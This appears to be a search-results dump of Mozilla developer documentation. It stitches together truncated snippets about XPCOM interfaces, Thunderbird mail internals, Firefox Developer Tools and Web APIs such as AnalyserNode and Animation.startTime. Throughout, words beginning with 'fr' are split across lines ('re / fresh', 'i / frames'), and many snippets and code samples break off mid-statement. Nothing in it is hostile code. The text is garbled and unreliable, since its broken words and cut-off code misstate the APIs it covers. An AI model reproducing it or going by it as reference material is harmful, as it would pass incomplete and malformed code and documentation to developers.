from, in long ato); violates the xpcom interface guidelines boolean removeelementat(in unsigned long aindex); violates the xpcom interface guidelines boolean removeelementsat(in unsigned long aindex, in unsigned long acount); violates the xpcom interface guidelines boolean removelastelement([const] in nsisupports aelement); violates the xpcom interface guidelines boolean replaceelementat(in ...
...entsat() boolean insertelementsat( in nsisupportsarray aother, in unsigned long aindex ); parameters aother aindex return value violates the xpcom interface guidelines lastindexof() long lastindexof( [const] in nsisupports apossibleelement ); parameters apossibleelement return value violates the xpcom interface guidelines moveelement() boolean moveelement( in long a
from, in long ato ); parameters a
from ato return value violates the xpcom interface guidelines removeelementat() boolean removeelementat( in unsigned long aindex ); parameters aindex return value violates the xpcom interface guidelines removeelementsat() boolean removeelementsat( in unsigned long aindex, in unsigned long acount ); parameters aindex acount return v...
nsISupportsCString
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data acstring provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsChar
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data char provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsDouble
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data double provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsFloat
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data float provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsID
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data nsidptr provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsInterfacePointer
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data nsisupports provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPRBool
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data prbool provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPRInt16
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data print16 provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPRInt32
66 introduced gecko 1.0 inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data print32 provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPRInt64
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data print64 provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPRTime
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data prtime provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPRUint16
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint16 provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPRUint32
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint32 provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPRUint64
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint64 provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPRUint8
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint8 provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPrimitive
inherits
from: nsisupports last changed in gecko 1.7 attributes attribute type description type unsigned short this attribute provides access to the type represented by the nsisupportsprimitive instance.
... remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsPriority
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface does not strictly define what happens when the priority of an object is changed.
... an implementation of this interface is
free to define the side-effects of changing the priority of an object.
...the implementation is
free to truncate a given priority value to whatever limits are appropriate.
nsISupportsString
inherits
from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data astring provides access to the native type represented by the object.
...remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsISupportsWeakReference
inherits
from: nsisupports last changed in gecko 1.7 method overview nsiweakreference getweakreference(); methods getweakreference() produces an appropriate instance of nsiweakreference.
... this interface was
frozen for gecko 0.9.9.
...
from gecko 2.0 interfaces are no longer
frozen.
nsITaskbarPreviewController
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) clients should provide their own implementation of this interface.
... return value true if you want a
frame drawn around the preview, otherwise false.
... return value true if you want a
frame drawn around the thumbnail, otherwise false.
nsIThreadManager
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports method overview nsithread getthread
fromprthread(in prthread prthread); native code only!
... methods native code only!getthread
fromprthread given a prthread, this method returns the corresponding nsithread.
... nsithread getthread
fromprthread( in prthread prthread ); parameters prthread the prthread for which to retrieve the corresponding nsithread.
nsIThreadPool
1.0 66 introduced gecko 1.9 inherits
from: nsieventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) a thread pool provides a convenient way to process events off the main thread.
... you must not call this method
from any thread within the thread pool.
... instead, you should call it
from another thread (typically the one that created the thread pool).
nsIToolkitProfile
inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) you should not create these objects yourself; to obtain them, use the nsitoolkitprofileservice interface to create and obtain them.
...example: var profile = profilelist.getnext().queryinterface(ci.nsitoolkitprofile); var locker = profile.lock({}); remove() removes the profile
from the registry of profiles.
... void remove( in boolean removefiles ); parameters removefiles indicates whether or not the profile directory should be removed when the profile is removed
from the profile list.
nsIToolkitProfileService
inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: starting in gecko 1.9.1, this service is implemented by @mozilla.org/toolkit/profile-service;1.
...os.file is available
from gecko 18 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15).
...if the path does not exist, it is created and the defaults copied
from the application directory.
nsITransactionManager
inherits
from: nsisupports last changed in gecko 1.7 method overview void addlistener(in nsitransactionlistener alistener); void beginbatch(); void clear(); void dotransaction(in nsitransaction atransaction); void endbatch(); nsitransactionlist getredolist(); nsitransactionlist getundolist(); nsitransaction peekredostack(); nsitransaction peekundostack(); void redotransaction(); void removelistener(in nsitransactionlistener alistener); void undotransaction(); attributes attribute type description maxtransactioncount long sets the maximum number of transaction items the transaction manager will maintain at an...
... numbero
fredoitems long the number of items on the redo stack.
...removelistener() removes a listener
from the transaction manager's notification list.
nsIUTF8ConverterService
inherits
from: nsisupports last changed in gecko 1.7 method overview autf8string convertstringtoutf8(in acstring astring, in string acharset, in boolean askipcheck); autf8string converturispectoutf8(in acstring aspec, in string acharset); methods convertstringtoutf8() ensure that astring is encoded in utf-8.
... acharset the charset to convert
from if astring is not in utf-8.
...acharset the character set to convert
from if aspec is not in utf-8.
nsIWeakReference
inherits
from: nsisupports last changed in gecko 0.9.9 an instance of nsiweakreference is a proxy object that cooperates with its referent to give clients a non-owning, non-dangling reference.
... remarks this interface was
frozen for gecko 0.9.9.
...
from gecko 2.0 interfaces are no longer
frozen.
nsIWebProgress
a nsiwebprogresslistener instance receives notifications for the nsiwebprogress instance to which it added itself, and it may also receive notifications
from any nsiwebprogress instances that are children of that nsiwebprogress instance.
... last changed in gecko 1.8.0 inherits
from: nsisupports method overview void addprogresslistener(in nsiwebprogresslistener alistener, in unsigned long anotifymask); void removeprogresslistener(in nsiwebprogresslistener alistener); attributes attribute type description domwindow nsidomwindow the dom window associated with this nsiwebprogress instance.
... notify_re
fresh 0x00000100 receive nsiwebprogresslistener2.onre
freshattempted() events.
nsIXFormsModelElement
1.0 66 introduced gecko 1.8 obsolete gecko 1.9.1 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomdocument getinstancedocument(in domstring instanceid); void rebuild(); void recalculate(); void re
fresh(); void revalidate(); methods getinstancedocument() nsidomdocument getinstancedocument( in domstring instanceid ); parameters instanceid the id of the instance element to be returned.
...re
fresh() signals the xforms processor to perform a full re
fresh of form controls bound to instance nodes for the given xforms model.
... void re
fresh(); parameters none.
nsIXPCScriptable
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits
from: nsisupports method overview void precreate(in nsisupports nativeobj, in jscontextptr cx, in jsobjectptr globalobj, out jsobjectptr parentobj); void create(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); void postcreate(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); prbool addproperty(in nsixpconnectwrappednative wrapper, i...
... prbool newenumerate( in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruint32 enum_op, in jsvalptr statep, out jsid idp ); parameters wrapper cx the pointer to the jscontext newenumerate is being called
from.
... prbool newresolve( in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in pruint32 flags, out jsobjectptr objp ); parameters wrapper cx the pointer to the jscontext newresolve is being called
from.
nsMsgSearchAttrib
the numerical order *
from here will also be used to determine the order that the * attributes display in the filter editor.
... const nsmsgsearchattribvalue toorcc = 8; const nsmsgsearchattribvalue alladdresses = 9; const nsmsgsearchattribvalue location = 10; /* result list only */ const nsmsgsearchattribvalue messagekey = 11; /* message result elems */ const nsmsgsearchattribvalue ageindays = 12; const nsmsgsearchattribvalue folderinfo = 13; /* for "view thread context"
from result */ const nsmsgsearchattribvalue size = 14; const nsmsgsearchattribvalue anytext = 15; const nsmsgsearchattribvalue keywords = 16; // keywords are the internal representation of tags.
...sgsearchattribvalue label = 48; /* mail only...can search by label */ const nsmsgsearchattribvalue hdrproperty = 49; // uses nsimsgsearchterm::hdrproperty const nsmsgsearchattribvalue folderflag = 50; // uses nsimsgsearchterm::status const nsmsgsearchattribvalue uint32hdrproperty = 51; // uses nsimsgsearchterm::hdrproperty // 52 is for showing customize - in ui headers start
from 53 onwards up until 99.
NS_CStringCloneData
the resulting buffer may be
freed by calling nsmemory::
free.
... history this function was
frozen for mozilla 1.7.
... see also nsmemory::
free, nsacstring ...
NS_StringCloneData
the resulting buffer may be
freed by calling nsmemory::
free.
... history this function was
frozen for mozilla 1.7.
... see also nsmemory::
free, nsastring ...
XPCOM string functions
ontainerfinish function releases any memory allocated by a nscstringcontainer instance.ns_cstringcontainerinitthe ns_cstringcontainerinit function initializes a nscstringcontainer instance for use as a nsacstring.ns_cstringcontainerinit2the ns_cstringcontainerinit2 function initializes a nscstringcontainer instance for use as a nsacstring.ns_cstringcopythe ns_cstringcopy function copies the value
from one nsacstring instance to another.
...this is a low-level api.ns_stringcopythe ns_stringcopy function copies the value
from one nsastring instance to another.
...this is a low-level api.ns_utf16tocstringthe ns_utf16tocstring function converts the value of a nsastring instance
from utf-16 to the specified multi-byte encoding and stores the result in a nsacstring instance.
Using IndexedDB in chrome
the indexeddb api is typically used to store data in the user's browser
from content javascript.
... (see using indexeddb for an overview.) however, the apis can also be accessed
from system-privileged javascript using the components.utils.importglobalproperties() function: components.utils.importglobalproperties(["indexeddb"]); //
from here on, it's like using indexeddb
from content var req = indexeddb.open("my-database"); // ...
..."wantglobalproperties": ["indexeddb"] } var principal = cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal); var sandbox = components.utils.sandbox(principal, options); // the sandbox will have access to indexeddb var sandboxscript = 'var req = indexeddb.open("my-database");'; components.utils.evalinsandbox(sandboxscript, sandbox); before firefox 33, you would access indexeddb
from chrome code using the initwindowless method of the nsiindexeddatabasemanager service.
Using nsIDirectoryService
c++ nscomptr<nsifile> dir; ns_getspecialdirectory(prop, getter_addrefs(dir)); if (!dir) return ns_error_failure; javascript: var file = components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); (the example is taken
from the code snippets section of this site.) adding a location: there are currently two ways to add a file location to the directory service: directly and delayed.
...apart
from this interface there is a function, registerprovider which will allow you to register a nsidirectoryserviceprovider, which implements the getfile callback function: var provider = { getfile : function(prop, persistant) { // return an nsifile }, } components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsidirectoryservice).registerprovider(provider); ...
...you need to include an alias in your application that points to this directory and the resource id of this alias goes into your 'c
frg' resource.
Working with Multiple Versions of Interfaces
to do this i used the accessibility
framework: hwnd gethwnd(nsidomnode *node){ hwnd self = null; nsresult rv; nscomptr<nsiaccessibleretrieval> refp; refp = do_createinstance( "@mozilla.org/accessibleretrieval;1", &rv); if (ns_failed(rv)){ return self; } //line 6.
...we first dredge out the old interface identifiers
from our yea olde firefox 1.5 sdk: static const nsiid iar_iid_old = { 0x663ca4a8, 0xd219, 0x4000, { 0x92, 0x5d, 0xd8, 0xf6, 0x64, 0x06, 0xb6, 0x26 }}; static const nsiid iad_iid_old = {0x8781fc88, 0x355f, 0x4439, { 0x88, 0x1f, 0x65, 0x04, 0xa0, 0xa1, 0xce, 0xb6 }}; then follow the recipe.
...al.h" and following the identical principle for the document interface: #define nsiaccessibledocument nsiaccessibledocument_old #include "accessibility/nsiaccessibledocument_old.h" static const nsiid ns_iaccessibledocument_iid_old = ns_iaccessibledocument_iid; #undef nsiaccessibledocument #undef __gen_nsiaccessibledocument_h__ #include "accessibility/nsiaccessibledocument.h" i even silenced my
friend the compiler by enclosing both incantations within a compiler pragma: #pragma warning(push) #pragma warning(disable : 4005) ...
xpidl
xpidl is based on the libidl idl compiler
from the gnome project.
... the libidl compiler depends on glib, also
from the gnome project.
...for testing purposes, or one-off interface compilation, xpidl can be run
from the command line: usage: ./xpidl -m mode [-w] [-v] [-t version number] [-d filename.pp] [-i path] [-o basename | -e filename.ext] filename.idl -a emit annotations to typelib -w turn on warnings (recommended) -v verbose mode (nyi) -t create a typelib of a specific version number -i add entry to start of include path for ``#include "nsithing.idl" -o use basename (e.g.
Mozilla technologies
at the moment, the transition
from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces with htmlthis page gathers technical solutions to comm...
...the publicity stream is provided as a central place for applications to publicize application usage for the purpose of notifying a user's
friends of the applications which their
friends are using.
...it has multiple language bindings, allowing xpcom components to be used and implemented in javascript, java, and python in addition to c++.xpidlxpidl is an interface description language used to specify xpcom interface classes.xray visiongecko runs javascript
from a variety of different sources and at a variety of different privilege levels.xslt 2.0although xslt 2.0 is not natively supported in firefox, it is possible via saxon-b (java) or, more recently, saxon-ce (javascript) to perform xslt 2.0.xtfthe extensible tag
framework (xtf) allows adding support for new namespaces using xpcom components to mozilla (written in javascript or c++).
DB Views (message lists)
the thread pane (aka message list) is driven by classes that implement nsimsgdbview and inherit
from nsmsgdbview.
...if the user does a quick search or picks a view
from the view menu, we create an nsmsgquicksearchdbview.
... advanced search results are displayed with an nsmsgsearchdbview, and cross-folder saved searches use nsmsgxfvirtualfolderdbview, which inherits
from nsmsgsearchdbview.
Mail client architecture overview
it was imported
from mozilla.org and last updated in 2002.
... url display and dispatching - in order to perform network operations such as downloading new mail, copying and moving messages, and displaying messages
from a remote server, the url system interacts with necko and reflects it's state to the mail window.
...this includes the mail compose window, creation of rfc822 messages
from the data a user has entered, and sending the messages via smtp.
Mail composition back end
it was imported
from mozilla.org and last updated in 2000.
...if this is not null, the body will be extracted
from this object and any embedded objects or links will be sent as part of the message in mhtml nsimsgidentity *auseridentity, - the user identity for the person doing the send operation.
...this can be nsnull if you want to do the delivery operations "blind" the addlistener & removelistener methods will add and remove listeners
from the nsimsgsendlater object.
Spam filtering
it was imported
from mozilla.org and last updated in 2003.
... the user can configure junk mail can be automatically purged
from the "junk" folder.
... initial state user action table changes unknown (user can't see this, looks like "not junk") mark as junk add tokens to bad unknown (user can't see this, looks like "not junk") mark as not junk add tokens to good not junk mark as junk remove tokens
from good, add tokens to bad not junk mark as not junk no op junk mark as junk no op junk mark as not junk remove tokens
from bad, add tokens to good ...
The libmime module
it was imported
from mozilla.org and last updated in 2002.
... any methods or class variables which this class does not wish to override will be automatically inherited
from the parent class (by virtue of its class-initialization function having been run first.) each class object will only be initialized once.
... the way to access earlier methods (methods defined on the superclass) is to simply extract them
from the superclass's object.
Creating a Custom Column
nsimsgcustomcolumnhandler extends (inherits
from) nsitreeview and as such needs to implement functions
from both.
...
from nsitreeview: getcellproperties(row, col, props): optionally modify the props array getrowproperties(row, props): optionally modify the props array getimagesrc(row, col): return a string (or null) getcelltext(row, col): return a string representing the actual text to display in the column
from nsimsgcustomcolumnhandler: getsortstringforrow(hdr): return the string value that the column will be sorted by getsortlongforrow(hdr): return the long value that the column will be sorted by isstring(): return true / false warning!
...though they sound similar you may not want to return the same value
from both.
Demo Addon
from this, we get its name and type.
... let query = gloda.newquery(gloda.noun_message); query.subjectmatches(searchterm); let mylistener = { /* called when new items are returned by the database query or
freshly indexed */ onitemsadded: function mylistener_onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function mylistener_onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged
from the system */ onitemsremoved: function mylistener_onitemsremoved(...
... /* called when our database query completes */ onquerycompleted: function mylistener_onquerycompleted(acollection) { let items = acollection.items; let data = { messages: [], }; for (let i in items) { data.messages.push({ subject: items[i].subject, date: items[i].date, author: items[i].
from.value, }); // ...
Activity Manager examples
all custom activity xbl elements should inherit
from "activity-base" binding.
...as a result, all junk processing activities (assuming that we process accounts in parallel) dealing with messages coming
from the same sender will be grouped together.
...ontextdisplaytext: function(contexttype, contextobj) { // in this particular example we know that contexttype is "sender" // since we also pass the contexttype along with the contextobject // in some cases, one helper can be registered for a group of context types // we know that the context object is the author of the message // localization is omitted return "messages coming
from " + contextobj.surname + ", " + contextobj.firstname; } } // step 2: register the helper for this context type gactivitymanager.registercontextdisplayhelper("sender", new sendercontextdisplayhelper()); // step 3: create the process ...
Thunderbird extensions
don't reinvent the wheel: steal
from the thunderbird-stdlib project (doc here).
...all these concepts are related : a conversation contains messages which are linked to identities (
from field, to field) which are themselves part of a contact: indeed, a contact has multiple identities.
... typical use cases for gloda: find all messages whose subject matches [search term], find all messages
from [person], find all messages in the same thread as [a given message], find all messages involving [person], etc.
Using the Mozilla source server
the nightly debug builds are now also source indexed so that by following a couple of simple steps you can also have the source code served to you for debugging without a local build what you'll need windbg or visual studio (note: express editions will not work, but windbg is a
free download) a nightly build that was created after april 15, 2008; go to the /pub/firefox/nightly/latest-mozilla-central/ folder and grab the installer for builds predating the switch to mercurial, you'll need cvs.exe, added to your path (the cvs.exe
from mozillabuild has problems, use this one instead) note: do not use the cvs
from mozillabuild, it will not work!
... now, when you click on a
frame in the "calls" window, windbg will prompt you about running cvs to download the associated source code.
...if you install windbg, and copy srcsrv.dll
from the windbg install dir to the visual studio install dir (replacing the existing copy) it will work.
Working with ArrayBuffers
this example is based on the fact that the imagedata returned
from canvasrenderingcontext2d.getimagedata is a uint8clampedarray view for an arraybuffer.
...context2d of some canvas var imagedata = context.getimagedata(x, y, w, h); var array = imagedata.data; // array is a uint8clampedarray var buffer = imagedata.data.buffer; // buffer is a arraybuffer // incomingbuffer is a typedarray var imagedata2 = context.createimagedata(w, h); imagedata2.data.set(incomingbuffer); further, if you have a byte array pixelbuffer, and you need to create imagedata
from it.
... var lib; switch (os.constants.sys.name.tolowercase()) { case 'winnt': case 'winmo': case 'winnt': //windows lib = ctypes.open('msvcrt'); break; case 'darwin': // mac lib = ctypes.open('libc.dylib'); break; case '
freebsd': lib = ctypes.open('libc.so.7'); break; case 'openbsd': lib = ctypes.open('libc.so.61.0'); break; case 'android': case 'sunos': case 'netbsd': case 'dragonfly': lib = ctypes.open('libc.so'); break; case 'linux': lib = ctypes.open('libc.so.6'); break; case 'gnu/k
freebsd': lib = ctypes.open('li...
Working with data
this will also work: `ctypes.int.array()(jsarr)` mycarr.addressofelement(0).contents; // outputs: 4 mycarr.addressofelement(1).contents; // outputs: 10 type casting you can type cast data
from one type to another by using the ctypes.cast() function: var newobj = ctypes.cast(origobj, newtype); this will return a new object whose data block is shared with the original object, but whose type is newtype.
... converting c strings to javascript the cdata object provides the readstring() method, which reads bytes
from the specified string and returns a new javascript string object representing that string.
...you'll also have to handle carry
from the low to high word and back as appropriate.
3D view - Firefox Developer Tools
from firefox 47 onwards, 3d view is no longer available.
... when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward
from the bottom of the page.
... by clicking and dragging the view, you can rotate and re-orient the 3d presentation of the dom hierarchy of your page to see it
from different angles, to better examine its structure.
DOM Inspector - Firefox Developer Tools
how to build the dom inspector blog post on building the dom inspector
from source.
... getting dom inspector firefox & thunderbird you may download and install the dom inspector
from the amo web site.
... (thunderbird users browsing amo in firefox should save the installation link, or visit the dom inspector for thunderbird page.) thunderbird 2 dom inspector for thunderbird 2 is available
from thunderbird add-ons.
Browser Toolbox - Firefox Developer Tools
targeting a document in the normal toolbox, there's a button in the toolbar enabling you to target specific i
frames in the document.
... the same button appears in the browser toolbox where it lists all the top-level chrome and content windows as well as any i
frames they contain.
... for example, here's what the
frame selection popup lists when there are two browser windows open, one with one content tab, and one with two: debugging popups it's hard to debug popups, because the browser hides them as soon as you click outside them.
DOM Property Viewer - Firefox Developer Tools
the dom property viewer lets you inspect the properties of the dom as an expandable tree structure, starting
from the window object of the current page or the selected i
frame.
... opening the dom property viewer once enabled, you can open the dom property viewer by selecting "dom"
from the web developer submenu in the firefox menu panel (or tools menu if you display the menu bar or are on macos), or by pressing its ctrl + shift + w keyboard shortcut.
... re
freshing the display if the dom changes you can hit the re
fresh button to update the display: filtering there is a search box within the toolbar: this filters the list to show only items which match the search term.
Aggregate view - Firefox Developer Tools
the screenshots in this section are taken
from a snapshot of the monster example page.
... let's get an allocation trace: open the memory tool check "record call stacks" load https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html take a snapshot select "view/aggregate" select "group by/call stack" you should see something like this: this is telling us that 93% of the total heap snapshot was allocated in functions called
from "alloc.js", line 35 (our initial createtoolbars() call).
...this is because not all heap usage results
from your javascript.
Basic operations - Firefox Developer Tools
to enable it, open the developer tool settings, and check the "memory" box under "default firefox developer tools":
from firefox 50 onwards, the memory tool is enabled by default.
... to load a snapshot
from an existing .fxsnapshot file, click the import button, which looks like a rectangle with an arrow rising
from it (before firefox 49, this button was labeled with the text "import..."): you'll be prompted to find a snapshot file on disk.
...the diff shows you where memory was allocated or
freed between the two snapshots.
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
in the html pane in the html pane, an element laid out with flexbox has the word flex next to it as shown in the following image: click the word flex in the html pane to keep the overlay visible when you move the mouse away
from the container.
... clicking the icon toggles the display of an overlay on the page, which appears over the selected flex container that displays an outline around each flex item: the overlay will still be shown when you select other elements
from the inspector panel, so you can edit related css properties and see how the flex items are affected by your changes.
...tem, the display shifts to show details about that element: this view shows information about the calculations for the size of the selected flex item: a diagram visualizing the sizing of the flex item content size - the size of the component without any restraints imposed on it by its parent flexibility - how much a flex item grew or shrunk based on its flex-grow value when there is extra
free space or its flex-shrink value when there is not enough space minimum size (only appears when an item is clamped to its minimum size) - the minimum content size of a flex item when there is no more
free space in the flex container final size - the size of the flex item after all sizing constraints imposed on it have been applied (based on the values of flex-grow, flex-shrink and flex-basis) ...
Examine and edit CSS - Firefox Developer Tools
examine css rules the rules view lists all the rules that apply to the selected element, ordered
from most-specific to least-specific: the four buttons on the right top of the rules view allow you to change the display of certain css and rules view features.
...e displayed before the selected element but hidden by a disclosure triangle: clicking the triangle displays them: viewing common pseudo-classes there's a button to the right of the filter box: click the button to see checkboxes that you can use to enable the :hover, :active and :focus, :focus-within and :visited pseudo-classes for the selected element: this feature can also be accessed
from the popup menu in the html view.
...right-click on the changes panel and select copy rule
from the context menu.
Use the Inspector API - Firefox Developer Tools
firefox add-ons may access the following objects
from the chrome://browser/content/devtools/inspector/inspector.xul context: window.inspector defined in inspector-panel.js.
... .node - returns the actual element
from the page .window - the window object of the
frame the selection is in.
... bindable events using on: markuploaded called when the left panel has been re
freshed, after page change.
UI Tour - Firefox Developer Tools
the select element button is one way you can select an element for inspection: note that it's actually part of the main toolbox toolbar, so it's immediately accessible
from any tool, not just the inspector.
...the following image shows the 2-pane layout: in 2-pane mode, the inspector includes the html pane, and the css pane, which can contain one of six tools: rules view layout view computed view changes view compatibility view (firefox developer edition 77 and later) fonts view animations view the following image shows the 3-pane mode (available
from firefox 62 onwards) which moves the css rules view into a separate pane in the center of the inspector.
... rules view the rules view lists all the rules that apply to the selected element, ordered
from most-specific to least-specific.
Performance - Firefox Developer Tools
the tool then shows you an overview of the things the browser was doing to render your site over the profile, and a graph of the
frame rate over the profile.
... how to basic tasks: open the tool, create, save, load, and configure recordings components of the performance tool
frame rate understand your site's overall responsiveness.
... intensive javascript uses the
frame rate and waterfall tools to highlight performance problems caused by long-running javascript, and how using workers can help in this situation.
Toolbox - Firefox Developer Tools
there are a few different ways to open the toolbox: select "toggle tools"
from the web developer menu (under "tools" on os x and linux, or "firefox" on windows) click the wrench icon (), which is in the main toolbar or under the hamburger menu (), then select "toggle tools" activate any tool hosted in the toolbox (for example, the javascript debugger or the page inspector) press ctrl + shift + i on windows and linux, or cmd + opt + i on os x.
...by default this array includes: toggle split console responsive design mode select a
frame as the currently targeted document (this is only included by default
from firefox 41 onwards).
... the following tools are not included in the toolbar by default, but you can add them in the settings: highlight painted area 3d view (note that this is not available in firefox 40) scratchpad grab a color
from the page take a screenshot of the entire page: take a screenshot of the complete web page and saves it in your downloads directory toggle rulers for the page measure a portion of the page: measure a part of the website by selecting areas within the page toolbox controls finally there's a row of buttons to: close the window toggle the window between attached to the bottom of the browser window, and attached to the side of the browser window toggle the window between standalone and attached to the browser window access developer tool settings settings see the sepa...
Web Audio Editor - Firefox Developer Tools
notice: this tool has been deprecated and will soon be removed
from firefox.
...for example, the gainnode has a single gain property, while the oscillatornode has
frequency and detune properties.
...for example, here's what the oscillatornode looks like: with the violent theremin demo, the
frequency parameter is modified as the user moves the mouse left and right, and you can see this reflected in the node inspector.
AmbientLightSensor.AmbientLightSensor() - Web APIs
syntax var ambientlightsensor = new ambientlightsensor(options) parameters options optional currently only one option is supported:
frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
... a whole number or decimal may be used, the latter for
frequencies less than a second.
... the actual reading
frequency depends device hardware and consequently may be less than requested.
AnalyserNode.AnalyserNode() - Web APIs
syntax var analysernode = new analysernode(context, ?options); parameters inherits parameters
from the audionodeoptions dictionary.
... options optional fftsize: the desired initial size of the fft for
frequency-domain analysis.
... browser compatibility the compatibility table on this page is generated
from structured data.
AnalyserNode.getByteTimeDomainData() - Web APIs
syntax const audioctx = new audiocontext(); const analyser = audioctx.createanalyser(); const dataarray = new uint8array(analyser.fftsize); // uint8array should be the same length as the fftsize analyser.getbytetimedomaindata(dataarray); // fill the uint8array with data returned
from getbytetimedomaindata() parameters array the uint8array that the time domain data will be copied to.
... return value void | none example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimation
frame and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
... analyser.fftsize = 2048; const bufferlength = analyser.fftsize; const dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimation
frame(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; const slicewidth = width * 1.0 / bufferlength; let x = 0; canvasctx.beginpath(); for(var i = 0; i < bufferlength; i++) { const v = dataarray[i]/128.0; const y = v * h...
Animation.startTime - Web APIs
an animation’s start time is the time value of its documenttimeline when its target key
frameeffect is scheduled to begin playback.
... examples in the running on web animations api example, the we can sync all new animated cats by giving them all the same starttime as the original running cat: var catrunning = document.getelementbyid ("withwaapi").animate(key
frames, timing); /* a function that makes new cats.
... */ function addcat(){ var newcat = document.createelement("div"); newcat.classlist.add("cat"); return newcat; } /* this is the function that adds a cat to the waapi column */ function animatenewcatwithwaapi() { // make a new cat var newcat = addcat(); // animate said cat with the waapi's "animate" function var newanimationplayer = newcat.animate(key
